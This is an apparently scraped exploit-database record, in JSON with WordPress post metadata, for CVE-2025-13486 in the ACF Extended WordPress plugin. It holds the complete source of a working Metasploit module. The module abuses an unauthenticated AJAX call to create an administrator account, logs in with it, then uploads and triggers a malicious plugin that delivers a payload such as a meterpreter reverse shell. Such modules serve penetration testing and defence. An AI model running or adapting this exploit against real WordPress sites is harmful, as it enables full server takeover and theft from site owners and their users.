{“lastseen”:”2025-12-19T18:06:59″,”description”:”This Metasploit module exploits an unauthenticated remote code execution vulnerability in the Advanced Custom Fields: Extended ACF Extended WordPress plugin versions 0.9.0.5 through 0.9.1.1. The vulnerability exists in the prepareform function of the…”,”published”:”2025-12-19T00:00:00″,”modified”:”2025-12-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress ACF 0.9.1.1 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213140″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-13486″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Payload::Php\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Wordpress\\n \\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘WordPress ACF Extended Unauthenticated RCE via prepare_form()’,\\n ‘Description’ =\\u003e %q{\\n This module exploits an unauthenticated Remote Code Execution vulnerability in the\\n Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5\\n through 0.9.1.1. The vulnerability exists in the prepare_form() function of the\\n acfe_module_form_front_render class, which accepts user-controlled input via the\\n form[render] parameter and passes it directly to call_user_func_array() without\\n proper sanitization.\\n \\n This exploit requires a WordPress page containing an ACF Extended form widget, which\\n exposes the required nonce token in the page’s JavaScript. The NONCE_PAGE option\\n must be set to the path of such a page.\\n \\n Once an administrator account is created via wp_insert_user(), the module uploads\\n and executes a malicious plugin to achieve remote code execution (RCE).\\n },\\n ‘Author’ =\\u003e [\\n ‘Marcin Dudek (dudekmar) – CERT.PL’, # Vulnerability discovery\\n ‘Valentin Lobstein \\u003cchocapikk@leakix.net\\u003e’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-13486’],\\n [‘URL’, ‘https:\/\/www.wordfence.com\/blog\/2025\/12\/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin\/’]\\n ],\\n ‘Platform’ =\\u003e %w[php unix linux win],\\n ‘Arch’ =\\u003e [ARCH_PHP, ARCH_CMD],\\n ‘DisclosureDate’ =\\u003e ‘2025-12-02’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP In-Memory’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP\\n # tested with php\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n \\n register_options([\\n OptString.new(‘NONCE_PAGE’, [true, ‘Path to page containing ACF Extended form widget’, ”]),\\n OptString.new(‘USERNAME’, [true, ‘Username to create’, Faker::Internet.username]),\\n OptString.new(‘PASSWORD’, [true, ‘Password for the new user’, Faker::Internet.password(min_length: 8)]),\\n OptString.new(‘EMAIL’, [true, ‘Email for the new user’, Faker::Internet.email])\\n ])\\n end\\n \\n def check\\n return CheckCode::Unknown unless wordpress_and_online?\\n \\n plugin_check = check_plugin_version_from_readme(‘acf-extended’, ‘0.9.2’, ‘0.9.0.5’)\\n return plugin_check if plugin_check == CheckCode::Safe\\n \\n @nonce = find_nonce\\n return CheckCode::Unknown(‘Could not find nonce on specified page’) unless @nonce\\n \\n CheckCode::Appears\\n end\\n \\n def exploit\\n unless wordpress_and_online?\\n fail_with(Failure::NotFound, ‘The target does not appear to be using WordPress’)\\n end\\n \\n admin_cookie = create_admin_user\\n upload_and_execute_payload(admin_cookie)\\n end\\n \\n def ensure_nonce\\n return if @nonce\\n \\n @nonce = find_nonce\\n fail_with(Failure::NotFound, ‘Could not find nonce on specified page’) unless @nonce\\n end\\n \\n def find_nonce\\n nonce_page = normalize_uri(target_uri.path, datastore[‘NONCE_PAGE’])\\n res = send_request_cgi(‘method’ =\\u003e ‘GET’, ‘uri’ =\\u003e nonce_page)\\n return nil unless res\\u0026.code == 200 \\u0026\\u0026 res.body =~ \/\\”nonce\\”:\\”([a-f0-9]+)\\”\/i\\n \\n Regexp.last_match(1).tap { |n| vprint_status(\\”Found nonce in JavaScript: #{n}\\”) }\\n end\\n \\n def send_exploit_request\\n ensure_nonce\\n \\n send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e wordpress_url_admin_ajax,\\n ‘vars_post’ =\\u003e {\\n ‘action’ =\\u003e ‘acfe\/form\/render_form_ajax’,\\n ‘nonce’ =\\u003e @nonce,\\n ‘form[render]’ =\\u003e ‘wp_insert_user’,\\n ‘form[user_login]’ =\\u003e datastore[‘USERNAME’],\\n ‘form[user_email]’ =\\u003e datastore[‘EMAIL’],\\n ‘form[user_pass]’ =\\u003e datastore[‘PASSWORD’],\\n ‘form[role]’ =\\u003e ‘administrator’\\n }\\n )\\n end\\n \\n def create_admin_user\\n res = send_exploit_request\\n fail_with(Failure::UnexpectedReply, ‘Failed to create administrator account.’) unless res\\u0026.code == 200\\n fail_with(Failure::UnexpectedReply, ‘Unexpected response from exploit request.’) unless res.body =~ %r{\\u003c\/div\\u003e\\\\s*\\\\d+\\\\s*\\u003c\/div\\u003e}\\n \\n print_good(‘Administrator account created successfully’)\\n \\n cookie = wordpress_login(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n fail_with(Failure::UnexpectedReply, ‘Failed to log in to WordPress admin.’) unless cookie\\n cookie\\n end\\n \\n def upload_and_execute_payload(admin_cookie)\\n plugin_name = \\”wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n payload_name = \\”ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n \\n zip = generate_plugin(plugin_name, payload_name)\\n unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)\\n fail_with(Failure::UnexpectedReply, ‘Failed to upload the payload’)\\n end\\n \\n register_files_for_cleanup(\\”#{payload_name}.php\\”, \\”#{plugin_name}.php\\”)\\n register_dir_for_cleanup(\\”..\/#{plugin_name}\\”)\\n \\n payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, \\”#{payload_name}.php\\”)\\n send_request_cgi(‘uri’ =\\u003e payload_uri, ‘method’ =\\u003e ‘GET’)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213140″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213140\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-19T18:06:59″,”description”:”This Metasploit module exploits an unauthenticated remote code execution vulnerability in the Advanced Custom Fields: Extended ACF Extended WordPress plugin versions 0.9.0.5 through 0.9.1.1. The…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-32294","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n